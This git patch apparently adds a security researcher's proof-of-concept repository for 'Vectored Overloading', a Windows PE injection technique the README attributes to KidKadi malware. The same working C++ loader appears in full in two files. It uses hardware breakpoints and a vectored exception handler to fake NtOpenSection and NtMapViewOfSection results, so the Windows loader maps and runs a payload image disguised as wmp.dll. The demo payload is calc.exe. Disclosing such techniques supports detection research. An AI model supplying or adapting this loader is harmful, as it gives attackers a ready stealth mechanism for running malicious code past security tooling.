From ca514348e13a45f1bd3d6e107258fb9d349e495d Mon Sep 17 00:00:00 2001 From: chkp-elism Date: Thu, 11 Dec 2025 15:18:45 +0200 Subject: [PATCH] First version (#1) * Add files via upload * Create manifest.json * Create CODEOWNERS * Update CODEOWNERS --------- Co-authored-by: Ilya Rokhkin --- CODEOWNERS | 7 + README.md | 19 ++ VectoredOverloading.cpp | 359 ++++++++++++++++++++++++++++ VectoredOverloading.sln | 31 +++ VectoredOverloading.vcxproj | 131 ++++++++++ VectoredOverloading.vcxproj.filters | 22 ++ VectoredOverloading.vcxproj.user | 4 + main.cpp | 353 +++++++++++++++++++++++++++ manifest.json | 7 + 9 files changed, 933 insertions(+) create mode 100644 CODEOWNERS create mode 100644 README.md create mode 100644 VectoredOverloading.cpp create mode 100644 VectoredOverloading.sln create mode 100644 VectoredOverloading.vcxproj create mode 100644 VectoredOverloading.vcxproj.filters create mode 100644 VectoredOverloading.vcxproj.user create mode 100644 main.cpp create mode 100644 manifest.json diff --git a/CODEOWNERS b/CODEOWNERS new file mode 100644 index 0000000..cdf6b99 --- /dev/null +++ b/CODEOWNERS @@ -0,0 +1,7 @@ +# Global owner for everything +* @chkp-elism +# Code owner +*.js @chkp-svenr +package.json @chkp-svenr +# LICENSE owner +LICENSE @chkp-liavt diff --git a/README.md b/README.md new file mode 100644 index 0000000..8a9b15a --- /dev/null +++ b/README.md @@ -0,0 +1,19 @@ +# VectoredOverloading + +Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware. + +It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly. + +Essentially, the technique does the following: + +* Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`) +* Maps a payload PE over this image memory +* Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field +* Sets a HWBP on `NtOpenSection` & loads any legitimate DLL +* When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection` +* The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection` +* The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view +* The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image +* The entrypoint is invoked, executing the payload + +For a more detailed analysis, please refer to our blogpost: diff --git a/VectoredOverloading.cpp b/VectoredOverloading.cpp new file mode 100644 index 0000000..9ba377f --- /dev/null +++ b/VectoredOverloading.cpp @@ -0,0 +1,359 @@ +#include +#include +#include +#include + +#if defined(_WIN32) && !defined(_WIN64) +#error This project must be compiled as 64-bit (x64). 32-bit build is not supported. +#endif + +#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) +#define DR_TYPE UINT64 + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#pragma comment(lib, "ntdll.lib") + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI +NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection( + HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect +); + +enum LdrState +{ + StateOpenSection = 0, + StateMapViewOfSection, + StateClose +}; + +// --------------------------------------------------------------------------------------------------- + +LdrState gLdrState = LdrState::StateOpenSection; +SIZE_T gViewSize = 0; +PVOID gBaseAddress = NULL; +HANDLE gSectionHandle = NULL; + +BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) +{ + if (ctx) + { + ctx->Dr7 = 1LL; + ctx->Dr0 = (DWORD64)address; + NtContinue(ctx, FALSE); + } + else + { + // Default to current thread if no context was given + CONTEXT context = { 0 }; + context.ContextFlags = CTX_FLAGS; + + HANDLE hThread = GetCurrentThread(); + + if (!GetThreadContext(hThread, &context)) + return FALSE; + + context.Dr7 = 1; + context.Dr0 = (DWORD64)address; + + if (!SetThreadContext(hThread, &context)) + return FALSE; + } + return TRUE; +} + +LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) +{ + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + CONTEXT* ctx = ExceptionInfo->ContextRecord; + + switch (gLdrState) + { + case LdrState::StateOpenSection: + { + printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); + + // Overwrite OUT handle + *(PHANDLE)ctx->Rcx = gSectionHandle; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Advance state and set next HWBP + gLdrState = LdrState::StateMapViewOfSection; + SetHardwareBreakpoint(NtMapViewOfSection, ctx); + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } + break; + + case LdrState::StateMapViewOfSection: + { + printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); + if ((HANDLE)ctx->Rcx != gSectionHandle) + return EXCEPTION_CONTINUE_EXECUTION; + printf(" Section handle is ours\r\n"); + + // Replace OUT parameters + PVOID* baseAddrPtr = (PVOID*)ctx->R8; + PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); + ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); + ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); + + if (baseAddrPtr) + *baseAddrPtr = gBaseAddress; + if (viewSizePtr) + *viewSizePtr = gViewSize; + + *allocTypePtr = 0; + *protectPtr = PAGE_EXECUTE_READWRITE; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Unset HWBP + ctx->Dr0 = 0LL; + ctx->Dr1 = 0LL; + ctx->Dr2 = 0LL; + ctx->Dr3 = 0LL; + ctx->Dr6 = 0LL; + ctx->Dr7 = 0LL; + ctx->EFlags |= 0x10000u; + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + break; + } + } + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } +} + +BOOL +ApplyRelocations( + PBYTE base, + SIZE_T imageSize, + ULONGLONG newBase, + ULONGLONG oldBase +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + + ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; + if (!delta) + return TRUE; + + IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!relocDir.VirtualAddress || !relocDir.Size) + return TRUE; + + SIZE_T processed = 0; + PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); + + while (processed < relocDir.Size && block->SizeOfBlock) + { + DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++, entry++) + { + WORD type = *entry >> 12; + WORD offset = *entry & 0xFFF; + BYTE* patchAddr = base + block->VirtualAddress + offset; + + if (type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)patchAddr += (DWORD)delta; + else if (type == IMAGE_REL_BASED_DIR64) + *(ULONGLONG*)patchAddr += delta; + } + processed += block->SizeOfBlock; + block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); + } + return TRUE; +} + +BOOL +CopyImageSections( + PBYTE sourceBuffer, + PVOID baseAddress, + SIZE_T viewSize +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); + + // Copy headers + SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; + memcpy(baseAddress, sourceBuffer, headersSize); + + // Copy sections + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + if (sec->SizeOfRawData == 0) + continue; + + BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; + BYTE* src = sourceBuffer + sec->PointerToRawData; + SIZE_T size = sec->SizeOfRawData; + + if ((sec->VirtualAddress + size) > viewSize) + size = viewSize - sec->VirtualAddress; + + memcpy(dst, src, size); + } + return TRUE; +} + +BOOL +ApplySectionProtections( + PVOID baseAddress +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + DWORD protect; + DWORD old; + + if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_EXECUTE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_EXECUTE_READ; + else + protect = PAGE_EXECUTE; + } + else + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_READONLY; + else + protect = PAGE_NOACCESS; + } + + PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; + SIZE_T size = sec->Misc.VirtualSize; + if (!size) + size = sec->SizeOfRawData; + + VirtualProtect(addr, size, protect, &old); + } + return TRUE; +} + +int +main() +{ + DWORD oldProt; + DWORD bytesRead; + + // Read PE to inject (calc.exe) into buffer + HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hCalc == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open calc.exe\n"); + return 1; + } + DWORD fileSize = GetFileSize(hCalc, NULL); + BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); + ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); + CloseHandle(hCalc); + + // Parse headers of PE to inject + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); + + // Force DLL characteristics and zero out entrypoint + DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; + if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) + { + nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; + nt->OptionalHeader.AddressOfEntryPoint = 0; + } + + // Create SEC_IMAGE section from wmp.dll + HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hWmp == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open wmp.dll\n"); + return 1; + } + + NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); + CloseHandle(hWmp); + if (status < 0) + { + printf("[-] NtCreateSection failed: 0x%08X\n", status); + return 1; + } + + status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); + if (status < 0) + { + printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); + return 1; + } + + // Make headers and image of wmp.dll writeable and wipe it + VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); + memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); + + // Copy headers and sections from PE to inject into the section + CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); + HeapFree(GetProcessHeap(), 0, pTargetPeBuf); + + // Apply relocations & section protections + ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); + ApplySectionProtections(gBaseAddress); + + printf("[*] Section ready:\n"); + printf(" BaseAddress = %p\n", gBaseAddress); + printf(" ViewSize = %zu\n", gViewSize); + printf(" Section = %p\n", gSectionHandle); + + // Register VEH and set HWBP + PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); + SetHardwareBreakpoint(NtOpenSection, NULL); + + // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow + HMODULE base = LoadLibraryW(L"amsi.dll"); + if (!base) + { + printf("[-] Failed to load library\n"); + return 1; + } + printf("[*] Loaded at 0x%llx\r\n", base); + RemoveVectoredExceptionHandler(InjectHandler); + + // Invoke entrypoint + PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; + printf("[*] Jumping to entrypoint at %p\n", entryPoint); + ((void (*)())entryPoint)(); + return 0; +} \ No newline at end of file diff --git a/VectoredOverloading.sln b/VectoredOverloading.sln new file mode 100644 index 0000000..24beef3 --- /dev/null +++ b/VectoredOverloading.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36429.23 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32 + {B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60} + EndGlobalSection +EndGlobal diff --git a/VectoredOverloading.vcxproj b/VectoredOverloading.vcxproj new file mode 100644 index 0000000..a2e5abf --- /dev/null +++ b/VectoredOverloading.vcxproj @@ -0,0 +1,131 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1} + VectoredOverloading + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + + + \ No newline at end of file diff --git a/VectoredOverloading.vcxproj.filters b/VectoredOverloading.vcxproj.filters new file mode 100644 index 0000000..56d4d70 --- /dev/null +++ b/VectoredOverloading.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/VectoredOverloading.vcxproj.user b/VectoredOverloading.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/VectoredOverloading.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..c0da374 --- /dev/null +++ b/main.cpp @@ -0,0 +1,353 @@ +#include +#include +#include +#include + +#if defined(_WIN32) && !defined(_WIN64) +#error This project must be compiled as 64-bit (x64). 32-bit build is not supported. +#endif + +#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS) +#define DR_TYPE UINT64 + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#pragma comment(lib, "ntdll.lib") + +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL); +EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + +enum LdrState +{ + StateOpenSection = 0, + StateMapViewOfSection, + StateClose +}; + +// --------------------------------------------------------------------------------------------------- + +LdrState gLdrState = LdrState::StateOpenSection; +SIZE_T gViewSize = 0; +PVOID gBaseAddress = NULL; +HANDLE gSectionHandle = NULL; + +BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx) +{ + if (ctx) + { + ctx->Dr7 = 1LL; + ctx->Dr0 = (DWORD64)address; + NtContinue(ctx, FALSE); + } + else + { + // Default to current thread if no context was given + CONTEXT context = { 0 }; + context.ContextFlags = CTX_FLAGS; + + HANDLE hThread = GetCurrentThread(); + + if (!GetThreadContext(hThread, &context)) + return FALSE; + + context.Dr7 = 1; + context.Dr0 = (DWORD64)address; + + if (!SetThreadContext(hThread, &context)) + return FALSE; + } + return TRUE; +} + +LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo) +{ + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + CONTEXT* ctx = ExceptionInfo->ContextRecord; + + switch (gLdrState) + { + case LdrState::StateOpenSection: + { + printf("[*] gLdrState == LdrState::StateOpenSection\r\n"); + + // Overwrite OUT handle + *(PHANDLE)ctx->Rcx = gSectionHandle; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Advance state and set next HWBP + gLdrState = LdrState::StateMapViewOfSection; + SetHardwareBreakpoint(NtMapViewOfSection, ctx); + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } + break; + + case LdrState::StateMapViewOfSection: + { + printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n"); + if ((HANDLE)ctx->Rcx != gSectionHandle) + return EXCEPTION_CONTINUE_EXECUTION; + printf(" Section handle is ours\r\n"); + + // Replace OUT parameters + PVOID* baseAddrPtr = (PVOID*)ctx->R8; + PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); + ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); + ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); + + if (baseAddrPtr) + *baseAddrPtr = gBaseAddress; + if (viewSizePtr) + *viewSizePtr = gViewSize; + + *allocTypePtr = 0; + *protectPtr = PAGE_EXECUTE_READWRITE; + + // Skip syscall + ctx->Rax = 0; + BYTE* rip = (BYTE*)ctx->Rip; + while (*rip != 0xC3) ++rip; + ctx->Rip = (ULONG_PTR)(rip); + + // Unset HWBP + ctx->Dr0 = 0LL; + ctx->Dr1 = 0LL; + ctx->Dr2 = 0LL; + ctx->Dr3 = 0LL; + ctx->Dr6 = 0LL; + ctx->Dr7 = 0LL; + ctx->EFlags |= 0x10000u; + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + break; + } + } + + NtContinue(ctx, FALSE); + return EXCEPTION_CONTINUE_EXECUTION; + } +} + +BOOL +ApplyRelocations( + PBYTE base, + SIZE_T imageSize, + ULONGLONG newBase, + ULONGLONG oldBase +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); + + ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; + if (!delta) + return TRUE; + + IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (!relocDir.VirtualAddress || !relocDir.Size) + return TRUE; + + SIZE_T processed = 0; + PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); + + while (processed < relocDir.Size && block->SizeOfBlock) + { + DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); + + for (DWORD i = 0; i < count; i++, entry++) + { + WORD type = *entry >> 12; + WORD offset = *entry & 0xFFF; + BYTE* patchAddr = base + block->VirtualAddress + offset; + + if (type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)patchAddr += (DWORD)delta; + else if (type == IMAGE_REL_BASED_DIR64) + *(ULONGLONG*)patchAddr += delta; + } + processed += block->SizeOfBlock; + block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); + } + return TRUE; +} + +BOOL +CopyImageSections( + PBYTE sourceBuffer, + PVOID baseAddress, + SIZE_T viewSize +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); + + // Copy headers + SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; + memcpy(baseAddress, sourceBuffer, headersSize); + + // Copy sections + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + if (sec->SizeOfRawData == 0) + continue; + + BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; + BYTE* src = sourceBuffer + sec->PointerToRawData; + SIZE_T size = sec->SizeOfRawData; + + if ((sec->VirtualAddress + size) > viewSize) + size = viewSize - sec->VirtualAddress; + + memcpy(dst, src, size); + } + return TRUE; +} + +BOOL +ApplySectionProtections( + PVOID baseAddress +) +{ + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) + { + DWORD protect; + DWORD old; + + if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_EXECUTE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_EXECUTE_READ; + else + protect = PAGE_EXECUTE; + } + else + { + if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) + protect = PAGE_READWRITE; + else if (sec->Characteristics & IMAGE_SCN_MEM_READ) + protect = PAGE_READONLY; + else + protect = PAGE_NOACCESS; + } + + PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; + SIZE_T size = sec->Misc.VirtualSize; + if (!size) + size = sec->SizeOfRawData; + + VirtualProtect(addr, size, protect, &old); + } + return TRUE; +} + +int +main() +{ + DWORD oldProt; + DWORD bytesRead; + + // Read PE to inject (calc.exe) into buffer + HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hCalc == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open calc.exe\n"); + return 1; + } + DWORD fileSize = GetFileSize(hCalc, NULL); + BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); + ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); + CloseHandle(hCalc); + + // Parse headers of PE to inject + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); + + // Force DLL characteristics and zero out entrypoint + DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; + if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) + { + nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; + nt->OptionalHeader.AddressOfEntryPoint = 0; + } + + // Create SEC_IMAGE section from wmp.dll + HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hWmp == INVALID_HANDLE_VALUE) + { + printf("[-] Failed to open wmp.dll\n"); + return 1; + } + + NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); + CloseHandle(hWmp); + if (status < 0) + { + printf("[-] NtCreateSection failed: 0x%08X\n", status); + return 1; + } + + status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); + if (status < 0) + { + printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); + return 1; + } + + // Make headers and image of wmp.dll writeable and wipe it + VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); + memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); + + // Copy headers and sections from PE to inject into the section + CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); + HeapFree(GetProcessHeap(), 0, pTargetPeBuf); + + // Apply relocations & section protections + ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); + ApplySectionProtections(gBaseAddress); + + printf("[*] Section ready:\n"); + printf(" BaseAddress = %p\n", gBaseAddress); + printf(" ViewSize = %zu\n", gViewSize); + printf(" Section = %p\n", gSectionHandle); + + // Register VEH and set HWBP + PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); + SetHardwareBreakpoint(NtOpenSection, NULL); + + // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow + HMODULE base = LoadLibraryW(L"amsi.dll"); + if (!base) + { + printf("[-] Failed to load library\n"); + return 1; + } + printf("[*] Loaded at 0x%llx\r\n", base); + RemoveVectoredExceptionHandler(InjectHandler); + + // Invoke entrypoint + PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; + printf("[*] Jumping to entrypoint at %p\n", entryPoint); + ((void (*)())entryPoint)(); + return 0; +} \ No newline at end 